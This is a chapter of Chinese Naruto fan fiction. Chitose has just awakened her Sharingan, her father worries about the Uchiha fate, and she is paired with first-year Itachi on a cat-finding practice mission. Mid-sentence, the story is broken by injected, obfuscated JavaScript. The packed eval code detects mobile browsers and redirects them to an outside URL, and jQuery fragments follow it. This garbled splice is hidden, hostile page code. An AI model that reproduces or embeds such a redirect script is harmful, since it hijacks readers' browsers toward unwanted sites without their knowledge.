夜色漫过宇智波族地的高墙,宇智波枭府邸依旧亮着灯。
千歲压根没心思睡,在榻榻米上跑来跑去,只要瞥见父亲宇智波枭端坐在矮桌前,就立刻凑上去,恨不得把那只刚开眼的写轮眼凑到他眼皮子底下。
“老爸,你再看一眼!真的是一勾玉对吧?”她兴奋得脸颊通红。
“你说我什么时候能开三勾玉呀?就像止水那样,结印又快,根本没人是他的对手!”
宇智波枭端着茶碗的手顿了顿,茶盖与碗沿相碰,发出一声轻响。
他慢条斯理地抿了口热茶,目光掠过女儿天真的眼睛,眼底没什么波澜,心里却暗自叹气:今晚已经问了第八遍了。
见父亲不答话,千歲不依不饶地拽住他的衣袖,晃了晃:“老爸!干嘛不理我呀?”
好吵。
宇智波枭在心里默念了一句,指尖无意识地摩挲着茶碗的纹路。
止水,他是知道的。天赋卓绝,心性沉稳,是族里难得的好苗子。
可女儿嘴里三句不离“止水”,从傍晚止水把她送回家开始,这名字就没停过,虽说两家就隔一条街,不过是顺路的小事,她却翻来覆去提起了好多次这个名字。
宇智波枭眉头微不可察地皱了皱,心里有些不是滋味。千歲从小就黏人,如今眼里却只剩下那个宇智波的天才少年了。
他放下茶碗,终于抬眼看向女儿,语气淡淡的,带着几分刻意的泼冷水:“三勾玉?急什么。”
千歲的期待瞬间凝固在脸上。
“说不定明天这勾玉就没了。”宇智波枭说着,嘴角似笑非笑,看似玩笑,眼底却藏着一丝不易察觉的沉重。
“毕竟开眼哪是那么容易的事,你不过是撞了大运罢了。”
他当然希望这是“撞大运”。
写轮眼从来都伴随着血泪与痛楚。
太多族人因失去重要之人而开眼,那双眼睛里的勾玉,每多一道,就多了一份沉甸的过往。
说实在的,他宁愿千歲一辈子做个普通的宇智波,没有惊艳的天赋,也不必背负那些属于强者的宿命。
千岁却不服气地鼓起腮帮子:“才不会,我肯定能像止水一样,开三勾玉,我还要开万花筒!”
“止水,止水。”宇智波枭低声重复了一遍这个名字,心里颇有些无奈,“你眼里除了止水和写轮眼,就没别的了?”
“可是我今天在定期测验打败了止水诶!”千歲不服气。
我没听错吧?宇智波枭狐疑。
止水那小子是放了多大的水。
宇智波枭看着她那副模样,心里的郁结稍稍散去,只是端起茶碗,又恢复了那副淡然的模样:
“行了,吵了一晚上,还不累?去睡。再不睡,别说三勾玉,连这一勾玉都要被你熬没了。”
夜色里,枭独自坐在黑暗中,指尖的余温早已散去。止水那孩子是不错,可他更希望,女儿永远都不用追上那个天才的脚步。
毕竟,在宇智波,太过耀眼的光,往往燃得最快。
翌日
天刚蒙蒙亮,千歲破天荒地没赖床,早早掀开被子起了身,连宇智波枭都难得抬眼瞥了她一下。
厨房飘出不同于往日的香气,餐桌上没有她最嫌弃的纳豆与烤青花鱼,取而代之的是温热的牛奶与抹好果酱的松软吐司。
千歲凑到桌前,满脸不可思议:“老爸,今天太阳是从西边出来了吗?居然没有纳豆。”
宇智波枭擦拭着手里的茶杯,语气淡淡带着不容置喙的强硬:“不吃就放下。”
“我吃我吃!”千歲立刻抓起吐司咬了一大口,含糊不清地应着,生怕父亲下一秒就把眼前的早餐换成自己讨厌的样式。
风卷残云般吃完便背上忍具包,朝着忍者学校赶去。
刚踏入教室,周遭同学的目光便与往日不同,不再是以往带着些许轻视的打量,而是多了几分惊讶与认可,昨日定期测试上,她终于突破瓶颈,顺利施展火遁的事,早已在班级里传开。
刚落座,身旁的位置便被人坐下,千岁侧过头,就看见宇智波由里香冷着一张小脸,眉眼依旧是惯常的冷淡,但率先开了口,语气别扭又生硬,藏着不易察觉的关心:“昨天开眼的感觉,怎么样?”
千歲眼睛一亮,瞬间来了兴致,指尖不自觉点了点眼角,语气满是欢喜:“好得不得了,感觉看东西都更清楚了,结印都变快超级多!”
由里香闻言,却依旧绷着表情,撇过头轻嗤一声,尽显傲娇:“不过是一勾玉而已,得意成这样,真没出息。”
“我才没有得意呢。”千歲反驳,从小一起长大,她早习惯了由里香这种口是心非的模样,“说不定我明天就能超过由里香了。”
“超过我?”由里香侧眼看她,清冷的眼底里掠过一丝笑意,很快又收敛起来,语气带着几分互损的锐利。
“你还是先把火遁练好再说吧,毫无实用性,昨天要不是临场爆发,指不定还要卡在原地。”
两人针锋相对,言语间满是互损,旁人看来完全就是一对死对头。
千歲刚要开口接话,就被从门口走进教室的和真老师打断。
“都安静,现在开始布置今天的训练内容与任务。”
话音落下,教室里原本细碎的交谈声渐渐平息下来。
“再过半年,你们就要从忍者学校毕业,正式成为独当一面的木叶忍者。而评判一名忍者的重要标准,便是任务执行能力。今天,我会为所有三年级学员安排D级模拟任务。”
“我们还是忍校学生,居然就能接任务了吗?”木村立刻激动地站起身问道。
“并非真实的委托任务,只是让你们提前熟悉任务流程与形式。”和真耐心解释,“内容参照过往任务卷宗记录,难度会相应下调,属于模拟演练。”
他顿了顿,故意留下几分悬念:“当然,这还不是本次训练的重点。”
“你们一直以来,都在老师与前辈的庇护下学习成长。身为三年级学员,你们也必须学会引导后辈,这是成为忍者不可或缺的素质。”
“因此,本次模拟任务将采取搭配制度,每一位三年级学员,需要带领一名一年级学员共同完成,主要考察你们与后辈的配合、协调及带队能力。”
“什么啊,带一年级的小鬼做任务,这不就是让我们看小孩吗?”木村满脸抱怨地嘟囔。
和真闻言在心底默默叹气:你总算也能体会到这种心情了,我带了你们这么久,今天总算轮到你们感受一下了。
“接下来我会宣布和你们搭档的一年生的名单,被念到名字的同学到隔壁的教室和你们的搭档汇合。”
和真拿起手中的分组名单,逐一念出名字。
“宇智波千歲,搭档——宇智波鼬。”
听到这个名字,教室里几不可察地安静了一瞬,连一旁冷着脸的由里香都抬了抬眼。
千歲自己也愣了一下,这个名字,她之前有在族地里听说过。那个年纪小小却异常沉稳、在一年级里都格外显眼的少年,她偶尔在族地和忍校里见过,安静得不像这个年纪的孩子。
由里香在旁边冷冷瞥了她一眼,低声吐槽:“自己火遁才刚稳定,还带后辈,别到时候反过来被后辈指导。”
“这句话原封不动的送回给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309053|198746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你。”千歲反驳。
顺着和真的指引,千歲刚走出教室门,隔壁教室后门便走进来一道小小的身影。
是比千歲矮半个头的鼬。
宇智波鼬背着基础忍具包,黑色短发整齐利落,神情平静得超乎年龄,步伐沉稳地走到千歲身旁,微微低头,声音清清淡淡:“前辈,请多指教。”
第一次被别人称做前辈,千歲愣了一下,还有点怪不好意思,被鼬过于正经的样子弄得有点手足无措。
千歲咳了一声,拍了拍胸脯:“好啦别紧张啦,叫我千歲吧,模拟任务而已,跟着我就可以了。”
和真看着千歲这个样子,真不知道紧张的到底是谁。
鼬只是轻轻点了一下头,目光平静地扫过千歲眼角的方向,似乎察觉到了她刚开眼的查克拉气息,却什么也没说,只是安静地站在她身侧,等着出发。
和真看着各组基本就位,收起分组名单,拍了拍手宣布每一组的任务。
“千歲,你们这一组本次D级模拟任务内容为——寻找训练场东侧林区走失的三色小猫,限时两个小时,将猫咪安全带回集合点即算完成。”
什么?找猫?
千歲石化,所谓的D级任务就是找猫吗?
“和真老师,这不是捕猫队的工作吗?”
千歲吐槽。
“我们又不是忍犬!”
鼬仰着小脸,漆黑的眼眸平静无波,一本正经地点头:“D级任务大多是寻物、看护、搜寻小动物,前辈,这是忍者的基础工作。”
“心里落差好大啊。”
千歲哀嚎两秒,又立刻打起精神,强行给自己打气。
“算了,不过是找小猫而已。什么小猫小狗小麻雀我都给你带回来。”
和真有点担心的看着千歲。
“我可真有点不放心你,你知道要怎么找吗?”
千歲仰起头,“当然是用猫咪最喜欢的食物诱拐…啊不对,是引导。”
说罢,便从刃具包里掏出一包神奇的东西。
“什么玩意儿?”和真疑惑。
“当然是小鱼干呀。”千歲举起手中的神奇诱饵。
“我家后山那边会有流浪的小猫咪,所以常备着呢。”
和真扶额,内心吐槽到,刃具包里不放刃具,居然放一堆莫名其妙的鱼干,以后谁要是做了她的特别指导上忍,谁会倒霉一辈子吧。
“好了,不管你这是小鱼干还是什么东西,都切记一定要在规定时间内完成任务,量力而行,千万千万不要受伤了。”
“唉~和真老师还是那么爱操心呢。”千歲不知道哪里学来的腔调,双手抱臂,一脸无奈,像个小大人似的说话。
和真无语:“你这话从谁那里学来的,真是没心没肺…”
“我一定把小猫咪带回来。”说罢,千歲将手中的小鱼干分给鼬。
“给你。”
鼬仰起脸,先看了看她势在必得的表情,又看了看她掌心那半条还带着包装碎屑的鱼干,才轻轻伸出小手,稳稳接了过来。
“谢谢前辈。”
声音清清淡淡,可视线却没立刻移开。
眼前的少女说话时嘴角轻轻上扬,明明嘴上抱怨任务无聊,势头却未减半分,一举一动都鲜活又直率,和族里那些总是绷着神情的孩子完全不一样。
明明比自己大不了几岁,却一副拼命想装可靠前辈的样子,有点逞强,又有点可爱。
鼬握着那半包干鱼条,垂在身侧的手指轻轻攥了攥,他没再多说什么,只是安静地跟在千歲身后,把那一点小小的、带着暖意的东西,好好握在了手心里。